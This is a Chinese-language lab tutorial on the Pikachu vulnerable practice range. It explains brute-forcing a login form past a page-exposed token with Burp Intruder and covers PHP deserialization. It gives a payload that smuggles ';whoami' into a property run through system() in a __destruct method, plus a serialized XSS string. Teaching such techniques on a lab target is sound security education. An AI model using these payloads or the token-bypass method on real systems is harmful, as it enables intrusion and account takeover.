靶場:pikachu靶場
pikachu漏洞靶場漏洞類型:
- Burt Force(暴力破解漏洞)
- XSS(跨站腳本漏洞)
- CSRF(跨站請求偽造)
- SQL-Inject(SQL注入漏洞)
- RCE(遠程命令/代碼執行)
- Files Inclusion(文件包含漏洞)
- Unsafe file downloads(不安全的文件下載)
- Unsafe file uploads(不安全的文件上傳)
- Over Permisson(越權漏洞)
- ../../../(目錄遍歷)
- I can see your ABC(敏感信息泄露)
- PHP反序列化漏洞
- XXE(XML External Entity attack)
- 不安全的URL重定向
- SSRF(Server-Side Request Forgery)
今天重點說一下Token暴力破解與PHP反序列化
一、暴力破解之Token爆破
? ? ? ? token是表單驗證的方法之一、也是防止爆破的,但是它如果出現在前端頁面標簽中,就會被捕獲到實施爆破,因此就是去了它原本的作用。
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?表單爆破結果
首先爆破的方法與常規方法一樣,都要進行抓包。【在我的文章上有爆破表單賬號密碼過程和待驗證碼的爆破方法】
一、 當我們抓到包后進行添加攻擊者方法、選擇爆破方法是草叉方法,因為分別爆破、token是獨立的。
?二、之后我們進行token的爆破設置方法、首先在設置中找到Grep-Extract、讓它識別到token。
三、 之后我們點擊Add 、進行token識別設置
在Start after expression 部分是你的token開始標志、也就是除開這里,就是token的開始部分
之后再設置End at fied length 這個是token的結束長度、token的長度是多少、這里就設置多少
也可以設置end ad delimiter 是token結束的標志。
四、之后、我們設置Redirctions 把它從Never 改到always,設置重定向
?五、我們設置token的payload、把payload類型設置為Recursive grep,并且把payload sttings[Recursive grep]中的frst request【第一個請求】設置我們當時抓包的token值
?以上設置好后,pyload1 和普通爆破模式一樣、爆破即可。
二、PHP反序列化
?在面向對象編程語言中有類的概念,當我們把類轉化為字符串輸出就是進行了一次序列化操作。
那么我們將序列化后的字符串進行還原便是反序列化操作。
例如:我們進行個序列化操作
<?php
//聲明個類human
class human{
//定義變量屬性public $name = "小李";public $age = "20";
}
//將類實體化
$Li = new human();
//序列化
$enstr = serialize($Li);
//反序列化
$class_str = unserialize($enstr);
var_dump($class_str)
?>
此時輸出結果為:O:5:"human":2:{s:4:"name";s:6:"小李";s:10:"humanage";s:2:"20";}?
?我們來看一下字符串:O 表示對象(Object)5表示類名長度,后面跟著類名字、2表示有兩個屬性、其中內容用{}括起來、s表示字符串(string)4表示變量名長度、、、、以此類推。
這是進行了一次序列化操作、那么反序列化呢?
<?php
//聲明個類human
class human{
//定義變量屬性public $name = "小李";public $age = "20";
}
//將類實體化
$Li = new human();
//序列化
$enstr = serialize($Li);
//反序列化
$class_str = unserialize($enstr);
var_dump($class_str)?>
輸出結果為:?
object(human)#2 (2) {
? ["name"]=>
? string(6) "小李"
? ["age"]=>
? string(2) "20"
}
由此我們就進行了一次序列化和反序列化操作。
PHP反序列化漏洞
那么、在此過程中是如何有漏洞發生呢?這就要談到php的魔法函數。在序列化和反序列化中魔法函數是以下劃線開頭的函數、它們會在特定的事件發生后自動調用、這樣增加了類的靈活性。
其中魔法函數有:
__construct()? ?????對象被創建時候調用
__destruct()? ? ? ? 對象銷毀時調用
__toString()? ? ? ? 對象當作字符串時調用
__get()? ? ? ? ? ? ? ? 在訪問對象時候不存在或不可訪問屬性時調用
__set()? ? ? ? ? ? ? ? 給不存在的訪問對象或者不可訪問屬性賦值時調用
__call()? ? ? ? ? ? ? ?當調用對象不存在時調用
__callstatic()? ? ? ?當類中不存在靜態類時調用
魔法函數還有很多種、不一一舉例了。
<?php
//聲明個類human
class human{
//定義變量屬性public $name = "小李";//當類被創建時調用public function __construct(){echo "此類被創建了!我的名字是".$this->name;}//當類被銷毀時調用public function __destruct(){echo "此類被銷毀了!我的名字是".$this->name;}
}
//將類實體化
$Li = new human();
//序列化
$enstr = serialize($Li);
//輸出結果
echo $enstr
?>
其結果為:??此類被創建了!我的名字是小李O:5:"human":1:{s:4:"name";s:6:"小李";}此類被銷毀了!我的名字是小李
由此我們知道魔法函數的作用了,現在我們整理一下信息:
1、魔法函數是在類特定的情況被自動調用
2、類可以序列化以及反序列化。
那么、試想一下、類可序列化以及反序列化、那如果我們在魔法函數內的變量可控、并且進行序列化后再反序列化、并且可控函數是system()這樣執行系命令操作,那么這是不是就造成了任意命令執行呢?
漏洞payload:
<?php
//聲明個類human
class human{
//定義變量屬性public $name = "小李";//當類被銷毀時調用public function __destruct(){system("echo 此類被銷毀了!我的名字是".$this->name);}
}
//將類實體化
$Li = new human();
//payload 中用;隔開分開執行命令、這樣保證后半部分單獨執行命令
$payload = "小李;whoami";
//把類中的name屬性替換掉攻擊命令
$Li-> name = $payload;
//序列化
$enstr = urlencode(serialize($Li));
//輸出結果
echo $enstr;
?>
我們進行了帶有執行系統命令的序列化操作后,目標進行反序列化操作即可執whoami命令了。
?那么我們來看pikaqiu中的反序列化漏洞吧:
pikachu提示說接收以及序列化的數據,那么我們就構造個前端XSS的序列化操作。
<?php
//聲明個類human
class S{
//定義變量屬性var $test = "hello";
}
//將類實體化
$a = new S();
$payload = "<script>alert('xss')</script>";
$a-> test = $payload;
//序列化
$enstr = serialize($a);
//輸出結果
echo $enstr;
?>
?結果為:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
提交即可?